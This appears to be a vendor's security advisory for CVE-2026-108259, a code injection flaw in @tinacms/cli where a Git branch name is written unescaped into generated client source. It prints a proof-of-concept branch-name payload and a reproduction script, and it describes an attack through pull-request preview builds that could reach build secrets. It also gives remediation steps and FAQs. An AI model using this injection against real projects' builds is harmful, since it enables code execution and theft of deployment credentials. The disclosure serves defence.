CVE-2026-108259

Tina: Code injection via unescaped Git branch name in generated client source

url: '${apiURL}'

x'+(globalThis.__TINA_PROBE='hit')+'

export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:

• Build environment variables are accessible (process.env), which may include NPM_TOKEN, VERCEL_TOKEN, cloud provider secrets, and API keys
• Build artifacts can be modified, enabling supply-chain compromise of the deployed output
• Network access is available to exfiltrate data

Attack scenario: An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker's branch name contains the payload. The preview build runs Tina codegen, generates the injected client.ts, and the attacker's code executes during the build.

Preconditions:

1. Attacker can create a branch or PR that triggers a consumer build
2. Consumer uses TinaCMS with the scaffolded branch config (reading from VERCEL_GIT_COMMIT_REF or equivalent)
3. Tina SDK codegen is enabled (default)

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-108259 has a CVSS score of 8.2 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. Use JSON.stringify(value) to safely serialize any runtime value interpolated into generated source templates
2. Apply encodeURIComponent() to the branch value before constructing the API URL path segment
3. Apply the same treatment to apiURL, token, errorPolicy, cacheDir, and the sibling AddGeneratedClientFunc template in plugin.ts
4. Consider moving runtime values out of source templates entirely, pass them through a JSON config file that the generated client reads at runtime

1. What is CVE-2026-108259? CVE-2026-108259 is a high-severity code injection vulnerability in @tinacms/cli (npm), affecting versions <= 2.7.0. It is fixed in 3.0.0. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-108259? CVE-2026-108259 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @tinacms/cli are affected by CVE-2026-108259? @tinacms/cli (npm) versions <= 2.7.0 is affected.
4. Is there a fix for CVE-2026-108259? Yes. CVE-2026-108259 is fixed in 3.0.0. Upgrade to this version or later.
5. Is CVE-2026-108259 exploitable, and should I be worried? Whether CVE-2026-108259 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-108259 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-108259? Upgrade @tinacms/cli to 3.0.0 or later.

Other vulnerabilities in @tinacms/cli